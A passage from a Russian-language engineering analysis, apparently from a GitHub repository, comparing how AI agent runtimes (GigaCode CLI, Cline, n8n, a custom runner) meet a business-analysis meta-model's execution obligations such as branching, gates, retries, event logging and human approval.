\u0447\u0435\u0440\u0435\u0437\\n65\\tOpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n66\\t\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n67\\t\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n68\\t\u0436\u0435 \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e \u0432 Cline; \u0430 \u043f\u043e\u0442\u043e\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n69\\t2026 \u0433\u043e\u0434\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0443\u0440\u0430 \u0438 \u0434\u0438\u0441\u0446\u0438\u043f\u043b\u0438\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u0412\\n70\\t\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 n8n \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043a\u0430\u043a \u0441\u043b\u043e\u0439 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u0432\u0435\u0440\u0445 API runner, \u043d\u043e \u043d\u0435\\n71\\t\u0432\u043c\u0435\u0441\u0442\u043e \u043d\u0435\u0433\u043e.\\n72\\t\\n73\\t## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n74\\t\\n75\\t- **\u0427\u0442\u043e \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n76\\t  [`ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model)\\n77\\t  \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f; \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014\\n78\\t  [GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli)\\n79\\t  \u0438\\n80\\t  [Cline VS Code](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-cline-vscode);\\n81\\t  \u0441\u0440\u0435\u0434\u044b 1\u20134 \u0438\u0437\\n82\\t  [issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)\\n83\\t  \u0438 [ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L92-L96);\\n84\\t  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n85\\t  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n86\\t  \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435.\\n87\\t- **\u0427\u0442\u043e \u043d\u0435 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f.** \u0421\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439,\\n88\\t  \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432\u044b\u0434\u0430\u0451\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango: \u0441\u0435\u0442\u044c,\\n89\\t  \u043f\u0440\u0430\u0432\u0430, \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira \u0438 Confluence. \u0416\u0438\u0432\u043e\u0439 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u043d\u0430 n8n \u0438\u043b\u0438 LangGraph\\n90\\t  \u043d\u0435 \u0441\u043e\u0431\u0438\u0440\u0430\u043b\u0441\u044f; \u0432\u044b\u0432\u043e\u0434\u044b \u043e \u043d\u0438\u0445 \u043e\u043f\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044e \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434.\\n91\\t- **\u0414\u043b\u044f \u043a\u043e\u0433\u043e.** \u0414\u043b\u044f \u0444\u0430\u0443\u043d\u0434\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0442\u0430\u0432\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0438 \u043c\u0443\u043b\u044c\u0442\u0438\u0430\u0433\u0435\u043d\u0442\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435\\n92\\t  \u043d\u0430 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u043c \u0443\u0440\u043e\u0432\u043d\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0435\u0441\u0442\u044c \u0443\u0447\u0435\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0434\u0435\u043b: \u043a\u0430\u043a\\n93\\t  \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0433\u0435\u0439\u0442 \u0438 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438\u0441\u0442\u0438\u043d\u044b, \u043f\u0440\u0435\u0436\u0434\u0435 \u0447\u0435\u043c \u0432\u044b\u0431\u0438\u0440\u0430\u0442\u044c\\n94\\t  \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.\\n95\\t\\n96\\t## \u041c\u0435\u0442\u043e\u0434\\n97\\t\\n98\\t1. **\u0422\u0440\u0438 \u0441\u043b\u043e\u044f.** \u041a\u0430\u0436\u0434\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u043b\u043e\u044e: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n99\\t   (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0415](#\u0435-\u0441\u043b\u043e\u0439-1-\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c-\u0438-\u0435\u0451-\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f)),\\n100\\t   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[`experiments/issue_639_runner_probes.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py)\\n105\\t   \u0441 [\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log);\\n106\\t   \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\\n107\\t   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 2026-09-29. \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b.\\n108\\t3. **\u0421\u0442\u0430\u0442\u0443\u0441\u044b.** \u00ab\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e\u00bb \u0438 \u00ab\u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e\u00bb \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438.\\n109\\t   \u00ab\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u00bb \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u0432\\n110\\t   \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435. \u00ab\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb \u2014 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043d\u0435\u0442, \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a\\n111\\t   \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n112\\t4. **\u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u0438\u043f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438** \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438: \u0432\u044b\u0441\u043e\u043a\u0430\u044f,\\n113\\t   \u0441\u0440\u0435\u0434\u043d\u044f\u044f, \u043d\u0438\u0437\u043a\u0430\u044f; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c. \u0414\u043b\u044f \u0441\u043b\u043e\u044f 3\\n114\\t   \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0442\u0438\u043f **\u0432\u044b\u0431\u043e\u0440** \u2014 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\u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438\\n121\\t   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n122\\t   \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\\n123\\t   \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435; \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435\\n124\\t   \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043b\u0430\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.\\n125\\t\\n126\\t## \u0421\u043b\u043e\u0439 1. \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0447\u0442\u043e \u043e\u043d\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442 \u0441\u0440\u0435\u0434\u044b \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f\\n127\\t\\n128\\t\u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u043d\u043e \u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n129\\t\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n130\\t\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n131\\t\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n132\\t\\n133\\t| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n134\\t|---------------|-------------------|--------------------------|----------------------|----------------------|\\n135\\t| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n136\\t| \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443 \u0440\u0435\u0431\u0440\u0430 (`EP-R3`, `EP-R5`) | [L227, L229](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L227-L229) | 17 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 YAML \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0432\u0435\u0442\u0432\u0438 \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n137\\t| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n138\\t| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n139\\t| \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`EP-R8`) | [L232](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L232) | `halt` \u2014 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | \u041d\u0435\u0442 | Runner ([\u0413-31](#\u0433-31)) |\\n140\\t| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n141\\t| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 (G-human) | `Gate` \u0432 [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50) | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 `approval` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c ([\u0413-18 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-18)) | Runner + \u0447\u0435\u043b\u043e\u0432\u0435\u043a |\\n142\\t\\n143\\t\u0412\u044b\u0432\u043e\u0434 \u043f\u043e \u0441\u043b\u043e\u044e 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u00bb, \u0430\\n144\\t\u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b\\n145\\t\u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0441\u0440\u0435\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 `EP-R8`, \u0433\u0434\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439\\n146\\t\u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb ([\u0413-27](#\u0433-27)). \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n147\\t\u043c\u0435\u0441\u0442\u0435, \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.\\n148\\t\\n149\\t## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n150\\t\\n151\\t\u0421\u043b\u043e\u0432\u043e \u00ab\u0441\u0440\u0435\u0434\u0430\u00bb \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u043e\u043b\u0435\u0439. \u0412 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u0445 \u043b\u0435\u0433\u043a\u043e\\n152\\t\u0441\u043c\u0435\u0448\u0430\u0442\u044c; \u043d\u0438\u0436\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u043e\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.\\n153\\t\\n154\\t| \u0420\u043e\u043b\u044c | \u0421\u0440\u0435\u0434\u0430 1: GigaCode CLI | \u0421\u0440\u0435\u0434\u0430 2: Cline + Mango AI | \u0421\u0440\u0435\u0434\u0430 3: Qwen Chat | \u0421\u0440\u0435\u0434\u0430 4: \u0441\u0435\u0440\u0432\u0435\u0440 |\\n155\\t|------|-----------------------|---------------------------|--------------------|-----------------|\\n156\\t| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n157\\t| \u0410\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 | \u0410\u0433\u0435\u043d\u0442 GigaCode | \u0410\u0433\u0435\u043d\u0442 Cline | \u041c\u043e\u0434\u0435\u043b\u044c \u0432 \u0447\u0430\u0442\u0435 | \u0428\u0430\u0433 runner, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0435\u043b\u044c |\\n158\\t| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b | 